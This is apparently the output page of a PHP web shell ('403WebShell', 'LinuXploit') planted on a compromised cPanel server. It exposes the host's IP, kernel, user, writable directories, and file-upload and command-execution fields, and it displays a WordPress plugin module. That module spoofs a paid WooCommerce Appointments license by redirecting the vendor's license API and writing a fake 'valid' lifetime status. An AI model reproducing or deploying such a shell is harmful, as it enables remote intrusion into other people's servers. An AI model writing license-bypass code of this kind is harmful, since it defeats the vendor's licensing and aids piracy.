$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/www/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/www/wp-content/plugins/hellopack-client/modules/woocommerce-appointments.php
<?php
/**
 * WooCommerce Appointments module.
 *
 * Redirects WooCommerce Appointments EDD license requests to GLS3.
 * Sets SDK license options so the plugin sees an active license.
 *
 * Uses EDD Software Licensing SDK at bookingwp.com, item_id: 78727.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WooCommerce Appointments license module.
 */
class Woocommerce_Appointments extends AbstractModule {

	/**
	 * Placeholder license key.
	 *
	 * @var string
	 */
	private const LICENSE_KEY = 'hellopack-wc-appointments-license';

	/**
	 * License option name used by the EDD SDK.
	 *
	 * @var string
	 */
	private const LICENSE_OPTION = 'woocommerce_appointments_license_key';

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'woocommerce-appointments';
		$this->name        = 'WooCommerce Appointments';
		$this->description = 'Manages WooCommerce Appointments license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.1.0';
		$this->target      = array(
			'plugin_dir'  => 'woocommerce-appointments',
			'plugin_file' => 'woocommerce-appointments.php',
		);
		$this->target_id   = '3099720247';

		$this->blocked_domains = array(
			'://bookingwp.com/' => self::edd_sl_block(),
		);
	}

	/**
	 * Initialize module.
	 */
	public function init(): void {
		ApiRedirector::create(
			'https://bookingwp.com',
			HELLOPACK_GLS3_URL . '/woocommerce-appointments'
		);

		$this->activate_license();
	}

	/**
	 * Activate WooCommerce Appointments license.
	 *
	 * Sets both the new EDD SDK options and the legacy option
	 * that the plugin checks during migration.
	 */
	private function activate_license(): void {
		hellopack_ensure_option( self::LICENSE_OPTION, self::LICENSE_KEY );

		$this->ensure_license_status_option();

		// Legacy option for migration compatibility.
		hellopack_ensure_option( 'bizz_woocommerce_appointments_license_active', 'valid' );
	}

	/**
	 * Write the license-status option only when it is missing or not yet valid.
	 *
	 * The value is an object, and hellopack_ensure_option() compares with `!==`,
	 * which for two object instances is ALWAYS true (identity, not content) — so
	 * routing this through the helper would rewrite the option on every request
	 * regardless of content. We guard the write instead: once a valid status is
	 * stored, nothing changes it, so there is no per-request DB churn.
	 */
	private function ensure_license_status_option(): void {
		$option = self::LICENSE_OPTION . '_license';

		$current = HELLOPACK_CLIENT_NETWORK_ACTIVATED
			? get_site_option( $option, null )
			: get_option( $option, null );

		if ( is_object( $current ) && 'valid' === ( $current->license ?? '' ) ) {
			return;
		}

		$license_status = (object) array(
			'success'          => true,
			'license'          => 'valid',
			'item_id'          => 78727,
			'item_name'        => 'WooCommerce Appointments',
			'license_limit'    => 0,
			'site_count'       => 1,
			'expires'          => 'lifetime',
			'activations_left' => 'unlimited',
			'checksum'         => md5( self::LICENSE_KEY ),
			'payment_id'       => 0,
			'customer_name'    => 'HelloWP Support',
			'customer_email'   => 'license@hellowp.io',
			'price_id'         => '0',
			'last_check'       => time(),
		);

		if ( HELLOPACK_CLIENT_NETWORK_ACTIVATED ) {
			update_site_option( $option, $license_status );
		} else {
			update_option( $option, $license_status );
		}
	}

	/**
	 * Cleanup on disable.
	 */
	public function cleanup(): void {
		hellopack_delete_option( self::LICENSE_OPTION );
		hellopack_delete_option( self::LICENSE_OPTION . '_license' );
		hellopack_delete_option( self::LICENSE_OPTION . '_stored_time' );
		hellopack_delete_option( self::LICENSE_OPTION . '_status_deleted_time' );
		hellopack_delete_option( 'bizz_woocommerce_appointments_license_active' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit